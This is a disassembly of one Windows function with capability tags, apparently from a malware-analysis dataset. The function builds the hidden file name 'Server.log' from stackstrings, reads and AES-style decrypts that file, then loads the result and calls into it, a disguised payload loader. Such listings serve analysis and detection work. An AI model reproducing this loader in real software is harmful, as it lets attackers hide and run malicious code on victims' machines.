Function at 0x404280
Capabilities:
Contain obfuscated stackstrings
Read file on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56dac0
mov eax, dword fs:[0]
push eax
sub esp, 0x4dc
mov eax, dword [0x5d0014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [str.__Bid_locale_stdNtHandleCallback]
lea eax, [ebp - 0x440]
push 0x410
push 0
push eax
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x20], 0
call fcn.0054e7b0
add esp, 0xc
lea eax, [ebp - 0x440]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x444]
mov word [ebp - 0x444], 0x6272
push eax
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x442], 0
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x1c], 0x76726553
push eax
mov dword [ebp - 0x18], 0x6c2e7265
mov word [ebp - 0x14], 0x676f
mov byte [ebp - 0x12], 0
call fcn.0055486e
mov eax, dword [ebp - 0x4e0]
add esp, 0xc
test eax, eax
je 0x40454b
push 2
push 0
push eax
call fcn.00551e7d
push dword [ebp - 0x4e0]
call fcn.00551abb
push 0
push 0
push dword [ebp - 0x4e0]
mov edi, eax
call fcn.00551e7d
push edi
call fcn.00404a7d
push dword [ebp - 0x4e0]
mov dword [ebp - 0x4e4], eax
push edi
push 1
push eax
call fcn.00554a9b
push dword [ebp - 0x4e0]
call fcn.00551b3d
push 0x94
lea eax, [ebp - 0x4dc]
push 0
push eax
call fcn.0054e7b0
add esp, 0x40
xor dl, dl
xor ecx, ecx
lea esi, [ecx + 1]
nop word [eax + eax]
test dl, dl
je 0x4043ce
mov byte [ebp + ecx - 0x4dc], 0
jmp 0x4043e1
mov al, byte [ebp + ecx - 0x30]
test al, al
movzx edx, dl
mov byte [ebp + ecx - 0x4dc], al
cmove edx, esi
inc ecx
cmp ecx, 0x10
jl 0x4043c0
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x4d9]
mov byte [ebp + ecx - 0x30], al
mov al, byte [ebp + ecx - 0x4da]
mov byte [ebp + ecx - 0x2f], al
mov al, byte [ebp + ecx - 0x4db]
mov byte [ebp + ecx - 0x2e], al
mov al, byte [ebp + ecx - 0x4dc]
mov byte [ebp + ecx - 0x2d], al
add ecx, 4
cmp ecx, 0x10
jl 0x4043f0
push 0xb0
call fcn.00404a3f
mov esi, eax
push 0xa0
push 0
lea ecx, [esi + 0x10]
push ecx
call fcn.0054e7b0
mov eax, dword [ebp - 0x2c]
add esp, 0x10
mov ecx, dword [ebp - 0x30]
mov ebx, 4
mov dword [ebp - 0x4cc], esi
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esi], ecx
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0xc]
test bl, 3
jne 0x40449b
rol eax, 8
lea edx, [ebp - 0x448]
lea ecx, [ebp - 0x4e8]
mov dword [ebp - 0x448], eax
call fcn.00401d10
mov ecx, dword [esi]
xor ecx, dword [eax]
mov eax, ebx
shr eax, 2
mov edx, dword [eax*4 + 0x5d2a6c]
xor edx, ecx
jmp 0x40449f
mov edx, dword [esi]
xor edx, eax
mov dword [esi + 0x10], edx
inc ebx
add esi, 4
cmp ebx, 0x2c
jl 0x404465
mov ebx, dword [ebp - 0x4e4]
lea ecx, [ebp - 0x4dc]
push edi
push ebx
mov dword [ebp - 4], 0
call fcn.00402310
test al, al
je 0x404538
movsx ecx, byte [ebx + edi - 1]
lea eax, [ecx - 1]
cmp eax, 0xf
ja 0x404523
sub edi, ecx
cmp edi, 0xffffffff
je 0x404538
mov ecx, ebx
call fcn.004040a0
mov esi, eax
test esi, esi
jne 0x4044fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call fcn.00404a3a
add esp, 4
jmp 0x404538
movaps xmm0, xmmword [0x5b29b0]
lea edx, [ebp - 0x30]
mov ecx, esi
mov byte [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
call fcn.00403f80
test eax, eax
je 0x40451a
call eax
mov ecx, esi
call fcn.00403e90
jmp 0x404538
push ecx
lea eax, [ebp - 0x4c8]
push str.fill_char_error___d_
push eax
call fcn.004023d0
add esp, 0xc
push 0xb0
push dword [ebp - 0x4cc]
call fcn.00404a6f
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404a2c
mov esp, ebp
pop ebp
ret